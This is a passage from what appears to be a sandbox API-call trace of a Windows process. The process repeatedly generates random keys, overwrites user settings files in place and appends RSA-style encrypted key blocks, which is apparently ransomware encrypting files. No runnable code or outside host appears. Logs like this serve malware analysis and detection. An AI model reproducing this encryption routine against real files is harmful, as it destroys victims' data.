lpOverlapped=0x0) returned 1 [0195.349] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b6 [0195.349] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.349] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.350] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.351] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.351] CloseHandle (hObject=0x1c24) returned 1 [0195.353] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.353] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.354] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{6CA1F1CE-1FED-4D96-A82E-08CEDB139AA3}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.354] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3e8, lpOverlapped=0x0) returned 1 [0195.356] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.356] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3e8, lpOverlapped=0x0) returned 1 [0195.356] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3e8 [0195.356] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.356] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.357] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.357] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.358] CloseHandle (hObject=0x1c24) returned 1 [0195.359] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.360] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.360] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{6AE88B06-50B2-46B0-93EA-4B5C73D3A0B5}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.360] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c1, lpOverlapped=0x0) returned 1 [0195.379] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-961, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.379] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c1, lpOverlapped=0x0) returned 1 [0195.380] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c1 [0195.380] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.380] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.380] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.380] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.381] CloseHandle (hObject=0x1c24) returned 1 [0195.383] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.383] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.383] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{6A10BC7B-2586-4B57-A5AA-C14BDE743DC4}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.383] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3bf, lpOverlapped=0x0) returned 1 [0195.390] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-959, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.391] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3bf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3bf, lpOverlapped=0x0) returned 1 [0195.391] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3bf [0195.392] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.392] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.392] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.392] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.393] CloseHandle (hObject=0x1c24) returned 1 [0195.395] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.395] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.395] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{693E4EF5-9060-469B-AB2E-948B6B68A883}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.395] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x39d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x39d, lpOverlapped=0x0) returned 1 [0195.397] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-925, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.397] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x39d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x39d, lpOverlapped=0x0) returned 1 [0195.397] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x39d [0195.397] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.397] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.398] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.398] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.398] CloseHandle (hObject=0x1c24) returned 1 [0195.402] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.402] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.402] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{693E4EF4-9060-469B-AB2E-948B6B68A883}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.403] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x39b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x39b, lpOverlapped=0x0) returned 1 [0195.410] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-923, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.410] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x39b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x39b, lpOverlapped=0x0) returned 1 [0195.411] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x39b [0195.411] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.411] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.411] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.412] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.412] CloseHandle (hObject=0x1c24) returned 1 [0195.414] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.414] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0195.414] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{68F4F33C-658C-4278-94C1-22B8E653F3E8}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.414] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x45a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x45a, lpOverlapped=0x0) returned 1 [0195.420] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1114, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.420] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x45a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x45a, lpOverlapped=0x0) returned 1 [0195.421] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x45a [0195.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.421] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.422] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.422] CloseHandle (hObject=0x1c24) returned 1 [0195.424] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.424] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.424] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\classic_{685e7dc2-db57-4ed0-8b6d-5fe44d78d4f0}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.424] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x45e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x45e, lpOverlapped=0x0) returned 1 [0195.425] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.425] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x45e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x45e, lpOverlapped=0x0) returned 1 [0195.426] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x45e [0195.426] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.426] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.426] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.427] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.427] CloseHandle (hObject=0x1c24) returned 1 [0195.429] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.429] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.429] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{67ca7650-96e6-4fdd-bb43-a8e774f73a57}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.429] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x400, lpOverlapped=0x0) returned 1 [0195.431] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1024, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.431] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x400, lpOverlapped=0x0) returned 1 [0195.431] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x400 [0195.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.431] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.432] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.432] CloseHandle (hObject=0x1c24) returned 1 [0195.433] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.433] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.433] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{6775CCA4-CC42-44F7-800C-4E94FF1EA8C0}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.434] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3c6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c6, lpOverlapped=0x0) returned 1 [0195.435] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-966, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.435] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3c6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c6, lpOverlapped=0x0) returned 1 [0195.435] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c6 [0195.435] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.435] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.435] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.436] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.436] CloseHandle (hObject=0x1c24) returned 1 [0195.437] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.437] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.437] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{641102EF-6463-46E9-842D-176013D7ACC8}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.438] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x441, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x441, lpOverlapped=0x0) returned 1 [0195.439] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1089, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.439] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x441, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x441, lpOverlapped=0x0) returned 1 [0195.439] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x441 [0195.439] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.439] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.440] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: 